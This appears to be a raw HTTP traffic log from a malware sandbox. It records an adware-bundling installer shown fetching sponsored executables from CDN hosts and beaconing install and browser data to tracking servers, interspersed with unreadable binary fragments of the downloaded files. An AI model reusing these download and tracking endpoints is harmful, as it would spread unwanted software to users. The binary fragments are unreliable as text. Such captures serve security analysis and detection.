GET /p.ashx?e=QHucCbLl /brPsk3N17xhDEOJYAmH59VBBvtTcvyOOgd2u58kk/k/Q1XyCbetQQ4Z8I/ 0wMrWsNwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHLG3fPX8 gFXS/G3EQZqX1I07m/8d9H/wBc8lsOAv28Lhu0b45kiT/aaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YNYlTZYFVSl7P5bll8sXmM64i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlvyaZN44kjrtu5SDMVthOPNpYikSqZzKjobnTOTnPHgwYpvDyFA3dDA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: DoeK631wk2DW6eEMilCFFDpSPXq992CPjB9LvUTTL-YJQZQYJUq8Yg==

....

GET /p.ashx?e=AZwPyJy3TZhPNjxRBLtb41vjkqwJKtrI/WD6e6SZIIGq9exvwYRubwRSl12vCJvFj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PTXoMXpqBnYfUmclGtPsM1nj0N7bp/0QtSMiSqh15lmagBZGQjpShx/0JQd5HxgIXdMIzvZcoSLLyoK23Ar2s FqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1MMUHsuHCu4rKno8GnteDR/5XmqVNTeGVqFIpYhbjsGdgZYt2XdsqefHrVRFwpe/jQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ImISbFc8vMsuVYPYccXVBB6c1JyviESlSvq-c92NuyqGi8mQYgiLbg==

....

GET /p.ashx?e=XJYuqQQo69e7kz6lYX7QXr1yLlvxP1mXOvh959wRc6X8ln8Iap23/2SGRkpEIbSdfl0yK7ww8bRT HVRdEeWb5CK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHnWDkJAOjHwSOrYhj46XfQgpnHZJVLNWxcSOo/vAjb374r1XQZFERLb/7 kcvPCjjpeJfJMiPTs0JQd5HxgIXd/dqaEYXgO79I32qLmgkBzr0Y7vf0dioHxIkD535tYISLpCCmchto6jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701L5HhsLbx0/gqzVkJplblMkMHrkZhAPMQ8XWaVP37vHu Ri5l77H9V8w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: BnwPTFYpDiiNmcJr4KV3rj-a9TwjN8DdKVIU0YioSMv3XnWi7WrPow==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:53:13 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1c
bb.cloudfront.net (CloudFront)..X-Amz-Cf-Id: BnwPTFYpDiiNmcJr4KV3rj-a9
TwjN8DdKVIU0YioSMv3XnWi7WrPow==......

GET /p.ashx?e=Ka qOJkckoVPNjxRBLtb453nP6cJ9p2Y/WD6e6SZIIGq9exvwYRubwRSl12vCJvFj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PTXoMXpqBnYfUmclGtPsM1nyBfkdHFoABez8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YNYlTZYFVSl7BQeC5LF6ah0Wgrw Oa4ZOT7wUeA69rsRB/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7ZJscHAoUBwEH4g8m9xuJOy ahcxApTUq7emB1plX 3KM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvkeGwtvHT CrNWQmmVuUyQweuRmEA8xDxdZpU/fu8e75GLmXvsf1Xz HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:15 GMT

X-Cache: Miss from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: jW_MhgdrGcqFsUyQ53dFtTbwii3OdWFaX5KB8jfJUx41eIbxNSMISQ==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:53:15 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1c
bb.cloudfront.net (CloudFront)..X-Amz-Cf-Id: jW_MhgdrGcqFsUyQ53dFtTbwi
i3OdWFaX5KB8jfJUx41eIbxNSMISQ==..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=971667-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:21 GMT

Content-Type: application/octet-stream

Content-Length: 138809

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 971667-1110475/1110476
]7X..}.u...{.......)..E.x.E.|w..5.rg4.9M@.].EqZk...b...97....p...j....
...w"m.f.. g.G..C..x.q.2S.Q.. .t ...../..4mc.x.\"I.d..Q.{x............
...1..H..o..l.V..OU.......D..X.n....8.L.s..!.f..............9,d..1Y.j.
l..W.........ql.....5....9Jt.4......t...s...!.....B..UX1.R..W..Ot.....
. z.|...L'..8. .p.....d{..V..x.. ....8..P...v.........5KE3...u.'...Oc.
..&....6!...j`.b.....|_i<.Y.^...............QoM.9..y~...M"E..c...,.
......e.s.R.5qQ......O..Z...#........n.w.^...........5.!.....S.i..a..t
.;...ruQu.&r.....Bd%7...S..M..5.F#.........Y.T...M.....$.Ri.j..}_7..U.
E r..`.2././.?.r..jJ.\Wn....K..{..#.....p.....e.2l.K.).G^.l..[.....c..
...j..;...d..2~..y1;Y.........o\. .a........^.l..K. ....o.........2..z
.:...!Q.e...f.1.$2.......R9.....fo.G.fiN0A7............. ?^4.nr..A....
...#F:..ch..l..s<-Db@#.J.3.z..`kI..Z....n.).(R#vo.x.V..Z.q....i...t
O4.{.vFB...mU..6.?...a}yy7.zn......c...).A.[[email protected])..c.*O.....7.
.`...$.:q.V..l..0f.......r.1.d.e..G......4..A.e..x.. L.l..At..j.r.i...
W."gZMh..6E4~...h...."..5v.7!......:.Z.....pKf..h....nSA.5.d.{..pE.`'.
f.O.}.....r.F7$.P.01o....`.....8...Ix..|x.n.......#.~.... 7sf..#..7?.]
x.3..%.}...."..r.b..6...,.....LV%..r..[uwz.J.y:h...2..*.W.G...~.......
....v.j..:].QT,.....lS....vYF..R. ...A.J....X.j.R.......n..3......k...
...}..^...wup7 *....'..>2...Z.......P......L.09....[.c..~..)..$$".9
[email protected]#..a....*[email protected]
Q,W.....m%.9.7.=..Jr.eh.pjB.......8.......T...W.vD..&Y...F.t..L.^...P^
.&..j..KQ....vU.j.......{..!.pZu....!R..\u9..<O..A.%....2..71..<<< skipped >>>

GET /dealdo/event-report?type=quick&topic=suzan_instend&instgrp=20141204__1086__lnk_aromani_70&ver=1086&partner=somopf&channel=somopf&installId=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=f777ab7c-adac-458b-b198-2dc3ce7fa535&cb=851406&existingVer=&existingPartner=&existingChannel=&slug=pricefountain&default_browser=1&ieVer=31302e302e393230302e3136353231&firefoxVer=32392e302e312028656e2d555329&chromeVer=33352e302e313931362e313533&operaVer=&winVer=362e31&cmd=2f6d757365202f706172746e65723d736f6d6f7066&ieproc=0&ffproc=0&chproc=0 HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: WinHTTP/1.0

Host: q.pricejs.info


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/plain

Date: Thu, 08 Jan 2015 04:55:11 GMT

ETag: "5029f96e-1"

Last-Modified: Tue, 14 Aug 2012 07:08:30 GMT

Server: nginx/1.4.7

Content-Length: 1

Connection: keep-alive

.HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Type: text/plain..Date
: Thu, 08 Jan 2015 04:55:11 GMT..ETag: "5029f96e-1"..Last-Modified: Tu
e, 14 Aug 2012 07:08:30 GMT..Server: nginx/1.4.7..Content-Length: 1..C
onnection: keep-alive.....

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=115620-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:52:16 GMT

Content-Type: application/octet-stream

Content-Length: 192700

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:52:16 GMT

Cache-Control: max-age=259200

Content-Range: bytes 115620-308319/308320

e.s.-.d.o...e.s.-.e.c...e.s.-.e.s...e.s.-.g.t...e.s.-.h.n...e.s.-.m.x.
..e.s.-.n.i...e.s.-.p.a...e.s.-.p.e...e.s.-.p.r...e.s.-.p.y...e.s.-.s.
v...e.s.-.u.y...e.s.-.v.e...e.t.-.e.e...e.u.-.e.s...f.a.-.i.r...f.i.-.
f.i...f.o.-.f.o...f.r.-.b.e...f.r.-.c.a...f.r.-.c.h...f.r.-.f.r...f.r.
-.l.u...f.r.-.m.c...g.l.-.e.s...g.u.-.i.n...h.e.-.i.l...h.i.-.i.n...h.
r.-.b.a...h.r.-.h.r...h.u.-.h.u...h.y.-.a.m...i.d.-.i.d...i.s.-.i.s...
i.t.-.c.h...i.t.-.i.t...j.a.-.j.p...k.a.-.g.e...k.k.-.k.z...k.n.-.i.n.
..k.o.k.-.i.n.....k.o.-.k.r...k.y.-.k.g...l.t.-.l.t...l.v.-.l.v...m.i.
-.n.z...m.k.-.m.k...m.l.-.i.n...m.n.-.m.n...m.r.-.i.n...m.s.-.b.n...m.
s.-.m.y...m.t.-.m.t...n.b.-.n.o...n.l.-.b.e...n.l.-.n.l...n.n.-.n.o...
n.s.-.z.a...p.a.-.i.n...p.l.-.p.l...p.t.-.b.r...p.t.-.p.t...q.u.z.-.b.
o.....q.u.z.-.e.c.....q.u.z.-.p.e.....r.o.-.r.o...r.u.-.r.u...s.a.-.i.
n...s.e.-.f.i...s.e.-.n.o...s.e.-.s.e...s.k.-.s.k...s.l.-.s.i...s.m.a.
-.n.o.....s.m.a.-.s.e.....s.m.j.-.n.o.....s.m.j.-.s.e.....s.m.n.-.f.i.
....s.m.s.-.f.i.....s.q.-.a.l...s.r.-.b.a.-.c.y.r.l.....s.r.-.b.a.-.l.
a.t.n.....s.r.-.s.p.-.c.y.r.l.....s.r.-.s.p.-.l.a.t.n.....s.v.-.f.i...
s.v.-.s.e...s.w.-.k.e...s.y.r.-.s.y.....t.a.-.i.n...t.e.-.i.n...t.h.-.
t.h...t.n.-.z.a...t.r.-.t.r...t.t.-.r.u...u.k.-.u.a...u.r.-.p.k...u.z.
-.u.z.-.c.y.r.l.....u.z.-.u.z.-.l.a.t.n.....v.i.-.v.n...x.h.-.z.a...z.
h.-.c.h.s.....z.h.-.c.h.t.....z.h.-.c.n...z.h.-.h.k...z.h.-.m.o...z.h.
-.s.g...z.h.-.t.w...z.u.-.z.a...................................... !"
#$%&'()* ,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^

<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=35695-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 249863

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 35695-285557/285558

Age: 3473

X-Cache: Hit from cloudfront

Via: 1.1 20aec32c2313bdcb7368a8a1a50b06a8.cloudfront.net (CloudFront)

X-Amz-Cf-Id: saNc93kpwGSzM1MvRAHqbxviFxd3OJifxsyi2So2XXkPASvcRDPzDQ==
[email protected].>>>.555.,,,.&&%.!!!.............
....................$"".)''..,,.200./--.*((.866.QOP.qpp....=..........
......................................................................
........................................776.........%##.=<<.ecc.
............ihf.OON.>>>.444.   .&%%.#!!......................
...........%##.,'(.0...100. )).-  .@>>.XVW.~}|..................
......................................................................
.....................................AA@.   .....&$$.<::._]].......
......kih.POO.>>>.444.   .%%%.#!!............................
.#%%.''&.-)).1...0//.*((.200.HFF.`^^..................................
......................................................................
........................_JJI.##$.....##$.<<<._^^.............
kih.POO.>>>.444.   .%%%.!  .........................!!!.$&%.(
((.-**.3.0./--.*((.644.LJJ.ecc....k...................................
......................................................................
..................9UVU.&&&.....!!!.999.___.............lki.PPO.>>
;>.555.,,,.&''.!##..  ......................  ."&%.())./ ,.4/0./  .
 )).:88.RPP.hee....3..................................................
......................................................................
...!`_^.,  .....   .444.YYY.............kmi.OQN.>>>.545., ,.&
%&.#!#.......................... ..#"!.)&&./,-.310.,)(.-**.><<
;.SRR.nnm.........................................................<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=269780-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:18 GMT

Content-Type: application/octet-stream

Content-Length: 38540

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:53:18 GMT

Cache-Control: max-age=259200

Content-Range: bytes 269780-308319/308320

......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Age: 3356

X-Cache: Hit from cloudfront

Via: 1.1 56609e57013dd6638f2e1e6c4f080bc8.cloudfront.net (CloudFront)

X-Amz-Cf-Id: cclwYXX5FIHyLNeTGnzsM3ZnWpcgDvF8a7etmdAHcWIDAYTpgBe--Q==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/8bcb66b22b13e545b4025cefa77c7e57?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2ly1rbvrtv0k6.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 3430

Connection: keep-alive

Server: nginx

Date: Wed, 07 Jan 2015 12:50:46 GMT

Last-Modified: Wed, 07 Jan 2015 11:57:28 GMT

ETag: "54ad1f28-d66"

Expires: Wed, 07 Jan 2015 13:00:46 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

X-Cache: RefreshHit from cloudfront

Via: 1.1 c7c212f034b65919802ff3804ee2e1f5.cloudfront.net (CloudFront)

X-Amz-Cf-Id: qJPEjqLR3TTelNd4rS61PCvjP7NuTpRBHzn_scquC4gWGQgXyii8GA==
......JFIF.....H.H.....C..............................................
......................C...............................................
..........................D.."......................................".
...................U......a...........................................
.................?....................................................
......................................................................
......................................................................
.................................' x.eo...r...V...' x.eo...r...V...' x
.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.e
o...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo.
..r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...
r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x......@.
[email protected]....]..l....]....=... }w..... }w...0
[email protected][email protected]....]..l....]....=... }w..... }
[email protected][email protected]....]..l....]....=... }w..
... }[email protected][email protected]....]..l....]....=...
 }w..... }[email protected][email protected]....]..l....]...
.=... }w..... }[email protected][email protected]....]..l...
.]....=... }w..... }[email protected][email protected]....].
.l....]....=... }w..... }[email protected][email protected].
...]..l....]....=... }w..... }[email protected][email protected].
...l....]..l....]....=... }w..... }[email protected]..................<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=sourceapp_sem&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=4&index_in_screen=1&index_in_session=4&display_height=185&0.44884757868918307 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1332783022.1420692710.1420692710.1420692710.1; __utmb=1.1.10.1420692710; __utmc=1; __utmz=1.1420692710.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:52:46 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:52:46 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /affiliates/filesfrog/eula.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d16a55el92698t.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 04 Jan 2015 05:01:58 GMT

Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT

Expires: Sun, 04 Jan 2015 05:11:58 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 3634ed11ef3267122afd0504d98e1154.cloudfront.net (CloudFront)

X-Amz-Cf-Id: NTxVln7ILUdDXlHH5cBurwInry4U8LyyHfK0PMKBwS2d0pbX8V-E_g==
14eb.............Zks.F.....Yn....I;.....-..$l(B.@)*.7..C.1.p.P........
@.....Jb..G?N.t...?..at{..U.N...t..U..`p..p0.E#..Et9Vo..UT.Y.TI...`.N:
.............C?/..(.<r.7.l...j....y....e..u..'/,.....4.e.........R.
.F.t*.X.~..c.....IGo.xX..y..[...E.3..zH.y.._........H.....:Zl...;:...Q
.~..Gw?.....E.M.....z.7S....I.M..f.I.TW.....U.......(.u..../.&.g.;....
O.^.._?v..O?...:....q.....X$..*.K.q..|...........s.........9>.....d
v_?.Y..).g1.._.z......lD.......E....N..~i.,..i....&.tVa..o>5[.!s..V
.h....a...p.uu....-`..........l......j..<}...$^...G...|.....&....Y.
.J...#.>j...~. .......v..vz.....og.......2H...W.....5..J...f...p...
...o...)F.....Z.P>j....1\t.........J.....@.}=:M(..AU............P_.
......G...X.B$..Q3..Qt.=.$M.............~..........f..q.NZ.......S..S.
yk.|=@;.&.vA....WMN^.S.z/..S.-...|..N.b.......dhR.u7i%2.......4.K.....
.Y..J.....U\...,....'j.j.*."..a\...4.\...&W........MV&7..r...7.Jp.v...
...........c.(..,..Y.B.f.<Ks..u....d.%k.o....@:..7._7....=..._|.^Dj
..L......../...,O............b.do.k....G_.$3.Vey..Sy....U...O...<..
-.u.>.U%..W........V......X...o.,.$8..........|j..T-._7.......kodi.
[email protected]\G....u....;...b.........\g...:...}=e.......8.F...B.
..W. ..Ig...8..B`|.......Q.d.3`.Y.Z.NH..dz...p...=.V0...S......-..j...
.rQ.K5...v.....!.t.....Im....'.(.z.).....*......c.j.gs)DK...Z%........
..w.......P._G..u'.....u/.I.N...u'...*g2R...G..G.>.._(....u01p...:.
{6..oe.3..W...\...%....?.y..OB....v..w.#.`.S...\.M.......,..g......[5.
...7.[7...i.......y.B...;A....C'..(.P.............:....{`S.(B.e..7<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=611712-

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1019520

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:12:14 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 611712-1631231/1631232

Age: 1

X-Cache: Hit from cloudfront

Via: 1.1 03b6908fc62b666b261c7c76b92e7fca.cloudfront.net (CloudFront)

X-Amz-Cf-Id: UjPmvavr6KdiJXSz4623KfVolECToen8n50reySq6NBO7ERr1ou-Wg==

eateMutexW....WaitForSingleObject...GetEnvironmentVariableA.^.MoveFile
A...GetCurrentThreadId....ReleaseMutex..>.LoadLibraryExW....QueryDo
sDeviceW.[.Module32FirstW..].Module32NextW...GetFileSize...ReadFile...
.CreateFileW...GetComputerNameW..p.GetSystemDirectoryW...GetVolumeInfo
rmationW.KERNEL32.dll....MessageBoxW...LoadStringW...GetWindowThreadPr
ocessId....EnumWindows.6.PostMessageW..3.wsprintfW.USER32.dll..0.RegCl
oseKey.a.RegOpenKeyExW.n.RegQueryValueExW..P.RegEnumKeyW.9.RegCreateKe
yExW.O.RegEnumKeyExW.e.GetUserNameW..H.RegDeleteValueW.~.RegSetValueEx
W..D.RegDeleteKeyW.R.RegEnumValueW.t.ConvertStringSidToSidW..B.GetName
dSecurityInfoW.=.BuildExplicitAccessWithNameW....SetEntriesInAclW....S
etNamedSecurityInfoW...OpenProcessToken..Z.GetTokenInformation.l.Conve
rtSidToStringSidW....LookupAccountNameW..ADVAPI32.dll....CommandLineTo
ArgvW....SHGetFolderPathW..".ShellExecuteW...SHGetSpecialFolderPathW.S
HELL32.dll.>.CoInitialize....CoCreateInstance..l.CoUninitialize..?.
CoInitializeEx..@.CoInitializeSecurity..h.CoTaskMemFree...CLSIDFromStr
ing.ole32.dll.OLEAUT32.dll..4.PathAppendW.I.PathFindFileNameW...PathRe
moveFileSpecW.3.PathAppendA.E.PathFileExistsW.SHLWAPI.dll...GetModuleB
aseNameW....EnumProcessModules..PSAPI.DLL...WinHttpReceiveResponse....
WinHttpSetTimeouts....WinHttpSetOption....WinHttpSendRequest....WinHtt
pWriteData....WinHttpConnect....WinHttpCloseHandle....WinHttpQueryHead
ers...WinHttpQueryDataAvailable...WinHttpOpen...WinHttpOpenRequest....
.....I......Pk.......... u...d...U..p8......`........... .........

<<< skipped >>>

GET /t.ashx?e=emKxDesqhYcsjIl6e9XbJBTj4CSqdeJAQF3UKsSdb2t7HO4WybUyR/m/2IS/cNj016DF6agZ2H1JnJRrT7DNZ3f1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b9e26169e235acb41e173f2870b3e2c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: edIu0XzyUTDWdnsJ62w1Uvfbm2vylaZIffZ04LdmOIhumsOZivFJ_A==

abfgshdgfjhsk....

GET /t.ashx?e=emKxDesqhYcsjIl6e9XbJBTj4CSqdeJAQF3UKsSdb2t7HO4WybUyR/m/2IS/cNj016DF6agZ2H1JnJRrT7DNZ3f1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

